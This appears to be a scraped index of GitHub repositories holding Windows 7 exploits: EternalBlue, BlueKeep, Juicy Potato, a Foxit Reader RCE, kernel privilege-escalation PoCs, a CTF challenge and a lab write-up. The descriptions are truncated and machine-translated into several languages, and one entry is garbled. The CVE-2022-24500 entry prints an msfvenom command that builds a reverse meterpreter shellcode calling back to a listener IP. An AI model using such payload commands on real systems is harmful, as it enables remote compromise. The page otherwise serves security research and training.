CVE-2012-1876-win7_x86_and_win7x64

このリポジトリには README がありません。...

CVE-2006-3592

CVE-2006-3952 Win7 32용 Easy File Sharing FTP Server 3.5에 대한 익스플로잇 기반: pwntools msfvenom / reversetcp payload 취약한 앱 다운로드: https://www.exploit-db.com/apps/0efddb6d04f4125d7c1f104c6b1c60a0-efsfs.exe 간단한 SEH 오버라이트 + 몇 번의 점프 백, SEH 값 이후 스택이 손상되기 때문...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708 - Win7 RDP 익스플로잇 부록: 왜?...

CVE-2017-0213

CVE-2017-0213: Windows COM の特権昇格の脆弱性 説明 作者: Google Security Research CVE: 2017-0213 EDB-ID: 42020 参考文献: Project-Zero Microsoft Exploit-Database 動画: Youtube 影響を受ける製品 製品| バージョン| 更新プログラム| ビルド| テスト済み ---|---|---|---|--- Windows 10| 1511| | 10586| √ Windows 10| 1607| | 14393| √ Windows 10| 1703| |...

CVE-2016-0051

제 CVE-2016-0051 MS-016에 대한 개념 증명 BSoD 블루 스크린 오브 데스 및 권한 상승 SYSTEM 코드입니다. 취약점 PoC 작성자: koczkatamas https://twitter.com/koczkatamas 원본 코드: https://github.com/koczkatamas/CVE-2016-0051 koczkatamas님께 감사드립니다. 이 PoC는 CMD에서 실행되며, 셸은 동일한 CMD -pid-에서 생성됩니다. 자세한 내용은 위의 링크를 참조하십시오. 이 저장소에는 Windows 7 PoC용 소스...

CVE-2019-0708-win7

此存储库没有 README。...

CVE-2019-1132

CVE-2019-1132 CVE-2019-1132용 EoP POC 이 익스플로잇은 Windows 7 x86 빌드 7601 6월 패치가 설치된 상태에서 테스트되었습니다...

CVE-2020-17382

CVE-2020-17382 CVE-2020-17382를 위한 PoC 익스플로잇 작동하는 익스플로잇: Windows 10 - 1709 Windows 7 x64 SP1 참고 블로그 게시글: https://www.matteomalvica.com/blog/2020/09/24/weaponizing-cve-2020-17382/...

Etern-blue-Windows-7-Checker

Eternalblue SMB1 Windows7/10 체커 업데이트되어 이제 Windows 7 및 SMB 1을 지원하는 구형 Windows 10 버전도 감지합니다. SMB 1만 구현했으며, 이 도구로 시도하는 모든 SMB 2 서버는 "취약하지 않음"을 반환합니다. SMB1 패킷의 구조와 패킷 정보가 아닌 구성 방법에 대해 연구했습니다. 프로토콜과의 더 나은 효율성과 통신을 위해 새로운 코드를 추가했습니다. 이 연구를 통해 이전 코드보다 SMB 프로토콜에 대해 더 많이 이해하게 되었습니다. EternalBlue는 NSA가...

fileintel

fileintel This is a tool used to collect various intelligence sources for a given file. Fileintel is written in a modular fashion so new intelligence sources can be easily added. Files are identified by file hash MD5, SHA1, SHA256. The output is in CSV format and sent to STDOUT so the data can be...

Cobaltstrike-MS17-010

Cobaltstrike Aggressor 스크립트 ms17-010 익스플로잇 도구 및 스캐너. 1. cobaltstrike의 루트 폴더에 파일을 다운로드하세요. 2. "aggressor.cna"를 가져오세요. ms17-010 익스플로잇 도구는 win7 x64와 win2008 r2만 지원합니다. pwn/Invoke-EternalBlue.ps1 — Empire에서 getinfo/Invoke-EternalScan.ps1 — @vletoux에서 getinfo/Invoke-LoginPrompt.ps1 — Empire에서 테스트 사진：...

Exploit-CVE-2014-4113

Exploit-CVE-2014-4113 CVE-2014-4113 is a Local & Privilege Escalation Exploits. You can get the SYSTEM Privilege. support platform: x86; windows xp and windowx 7 usage: 1. cmd.exeлǰĿ¼ִ cve-2014-4113.exe target program name for example: cve-2014-4113.exe calc.exe...

Juicy-Potato-x86

Juicy-Potato-x86 x86 Windows용 Juicy Potato 이것은 x86 Windows용으로 수정된 ohpe's Juicy Potato 권한 상승 익스플로잇 버전입니다. x86 Windows에서 컴파일하는 데 필요한 작은 변경을 하면서 가능한 한 많은 코드를 보존했습니다. Windows 7 SP1 x86 Build 7601에서 성공적으로 테스트했습니다. Visual Studio 2017v141 툴셋으로 편집/컴파일하세요. 사용에 따른 책임은 본인에게 있습니다. 사용 방법과 작동 방식에 대한 자세한 설명은 여기...

Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958

커스텀 익스플로잇 : Foxit Reader 버전 9.0.1.1049 힙에서 ASLR 및 DEP 우회를 포함한 사용 후 해제Use After Free 내 커스텀 익스플로잇 : Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958 Win 7용 커스텀 익스플로잇 셸코드 저장 공간 포함 내 커스텀 ROP 체인이 힙에서 셸코드 공간을 확보함 Win 7용...

CVE-2004-1561-Notes

CVE-2004-1561 익스플로잇 노트 안녕하세요 여러분, 저는 Windows 7 머신에서 Icecast에 대한 CVE-2004-1561 익스플로잇 노트를 공유합니다. 직접 시도해 보고 싶다면 여기에 훌륭한 실습 환경이 있습니다 노트 여는 방법 노트를 .ctd 확장자로 저장했으며, 일반 텍스트로 열면 혼란스럽습니다. 이 파일을 제대로 열려면 전용 노트 작성 소프트웨어가 필요합니다. 그 중 하나는 CherryTree입니다. 이 파일로 노트를 열면 일반적인 사람이 읽을 수 있는 형식이어야 합니다...

CVE-2022-24500

CVE-2022-24500 RCE 익스플로잇 Windows SMB 원격 코드 실행 취약점 취약점: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 1단계 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin 2단계 root@kitploit: msf5 use...

bluekeep

bluekeep Публичная работа для CVE-2019-0708 Обновление от 2019-11-17 Добавлен код POC эксплойта для Windows 7 32bit. Используя адрес из кода эксплойта POC, я достиг 80% успеха на моей тестовой VM. Вероятно, его можно модифицировать для повышения. Использование Замените переменную buf на ваш...

offensive-security-lab-1

offensive-security-lab-1 Windows 7 VM에 대한 실습형 취약점 평가 및 익스플로잇으로, EternalBlue CVE-2017-0143 익스플로잇을 사용합니다. 스캐닝, Metasploit을 이용한 익스플로잇, 사후 익스플로잇, 그리고 통제된 실습 환경에서의 복구 단계를 포함합니다...

CVE-2011-1237

CVE-2011-1237 これは、2013年に作成されたWindows 7向けのCVE-2011-1237の古いPOCです。 この脆弱性はTarjei Mandt（@kernelpool）によって発見され、彼の論文 Kernel Attacks through User-Mode Callbacks で説明されています。 このPOCではいくつかの値がハードコードされており、Nullページを呼び出しますが、これはもはや機能しません。このエクスプロイトについては、私の講演 A Look into the Windows Kernel で説明しています。...

BlueDoor

BlueDoor CTF-Challenge Überblick Challenge-Name : BlueDoor CVE : CVE-2017-0144 EternalBlue Schwierigkeitsgrad : 3/5 Kategorie : Exploitation, Windows Autoren : Seth Davis BlueDoor simuliert eine reale Schwachstelle EternalBlue - CVE-2017-0144 in einem Windows-7-System. Ziel ist es, die...